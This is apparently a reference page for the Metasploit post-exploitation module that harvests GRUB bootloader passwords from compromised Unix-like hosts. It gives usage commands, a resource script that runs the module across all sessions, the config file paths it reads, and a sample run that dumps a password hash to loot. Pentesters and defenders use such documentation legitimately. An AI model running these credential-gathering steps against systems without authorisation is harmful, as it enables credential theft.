Gather GRUB Password - Metasploit
This page contains detailed information about how to use the post/multi/gather/grub_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Gather GRUB Password
Module: post/multi/gather/grub_creds
Source code: modules/post/multi/gather/grub_creds.rb
Disclosure date: -
Last modification time: 2019-10-29 04:31:12 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module gathers GRUB passwords from GRUB bootloader config files.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/grub_creds
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/grub_creds
msf post(grub_creds) > show options
... show and set options ...
msf post(grub_creds) > set SESSION session-id
msf post(grub_creds) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/grub_creds")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Gather GRUB Passwords
Reads all passwords from GRUB configuration files on UNIX-like machines.
Vulnerable Application
Any UNIX-like system with a shell
or meterpreter
session using GRUB.
Verification Steps
- Get a
shell
ormeterpreter
session on some host. - Do:
use post/multi/gather/grub_creds
- Do:
set SESSION [SESSION_ID]
, replacing[SESSION_ID]
with the session number you wish to run this one. - Do:
run
- If the system has readable GRUB configuration files containing a password, they will be printed out.
Options
FILENAME
A string that can be used to specify an additional file to check after the usual places.
VERBOSE
A boolean that, when set, will provide more details on what is being checked. (Note: this option is defined elsewhere in metasploit, but this module can make use of it.)
Scenarios
There are many places where a user might place the password that GRUB uses, so inserting a password line into any of these locations will work without any additional configuration:
/boot/grub/grub.conf
/boot/grub/grub.cfg
/boot/grub/menu.lst
/boot/grub2/grub.cfg
/boot/grub2/user.cfg
/etc/grub.conf
/etc/grub.d/*
/etc/grub/grub.cfg
/mnt/sysimage/boot/grub.conf
/mnt/boot/grub/grub.conf
/rpool/boot/grub/grub.cfg
Using a Metasploitable 2 VM (running Ubuntu 8.04), you can add the line
password topscret
to /boot/grub/menu.lst
to easily see this module in
action.
Meterpreter
Typical run against Ubuntu 18.04 LTS
msf5 exploit(handler) > use post/multi/gather/grub_creds
msf5 post(grub_creds) > set SESSION 1
SESSION => 1
msf post(grub_creds) > run
[*] Searching for GRUB config files..
[*] Reading /boot/grub/grub.cfg
[*] Reading /etc/grub.d/40_custom
[*] Reading /etc/grub.d/00_header
[*] Reading /etc/grub.d/20_linux_xen
[*] Reading /etc/grub.d/10_linux
[*] Reading /etc/grub.d/README
[*] Reading /etc/grub.d/01_users
[+] /etc/grub.d/01_users saved to /home/bcook/.msf4/loot/20191029041304_default_127.0.0.1_grub.config_755243.txt
[*] Reading /etc/grub.d/41_custom
[*] Reading /etc/grub.d/30_os-prober
[*] Reading /etc/grub.d/05_debian_theme
[*] Reading /etc/grub.d/30_uefi-firmware
[+] Found credentials
Grub Credential Table
=====================
Username Password
-------- --------
putyourusernamehere grub.pbkdf2.sha512.10000.CB9E1ED1050D0AFBC6EC3B75413FB288AD255B960C6DBA31C00A03AC286847DF8B1DEE167ED54316FD62EEAFE4A617959F90249849FBCB562AC27E68A6D59F90.E6AB5AE4B5E4EF375218A620A798002F5B38EE5F31B549A66AF5533A7931419BAC30E2305A95113F60BE116C9F3FE22126FE7768D095DE6B9BCDC55632400B52
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/grub_creds post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/grub_creds
msf6 post(multi/gather/grub_creds) > show info
Name: Gather GRUB Password
Module: post/multi/gather/grub_creds
Platform: Linux, OSX, Unix, Solaris, BSD
Arch:
Rank: Normal
Provided by:
Garvit Dewan <[email protected]>
Taeber Rapczak <[email protected]>
Shelby Pace
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no Additional grub configuration filename.
SESSION yes The session to run this module on.
Description:
This module gathers GRUB passwords from GRUB bootloader config
files.
References:
https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption
Module Options
This is a complete list of options available in the multi/gather/grub_creds post exploitation module:
msf6 post(multi/gather/grub_creds) > show options
Module options (post/multi/gather/grub_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no Additional grub configuration filename.
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/grub_creds post exploitation module:
msf6 post(multi/gather/grub_creds) > show advanced
Module advanced options (post/multi/gather/grub_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/grub_creds module can do:
msf6 post(multi/gather/grub_creds) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/grub_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/grub_creds) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No passwords found in GRUB config files
Here is a relevant code snippet related to the "No passwords found in GRUB config files" error message:
104: targets.each do |target|
105: parse_passwd_from_file(target)
106: end
107:
108: if @creds_hash.empty? && @pass_hash.empty?
109: print_bad("No passwords found in GRUB config files")
110: else
111: print_good("Found credentials")
112:
113: cred_table = Rex::Text::Table.new(
114: 'Header' => 'Grub Credential Table',
Go back to menu.
Related Pull Requests
- #12505 Merged Pull Request: Enhance grub_creds module with improvements from grub_password module in #11426
- #12462 Merged Pull Request: #11166 add gather grub passwords
References
See Also
Check also the following modules related to this module:
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- Garvit Dewan <d.garvit[at]gmail.com>
- Taeber Rapczak <taeber[at]rapczak.com>
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.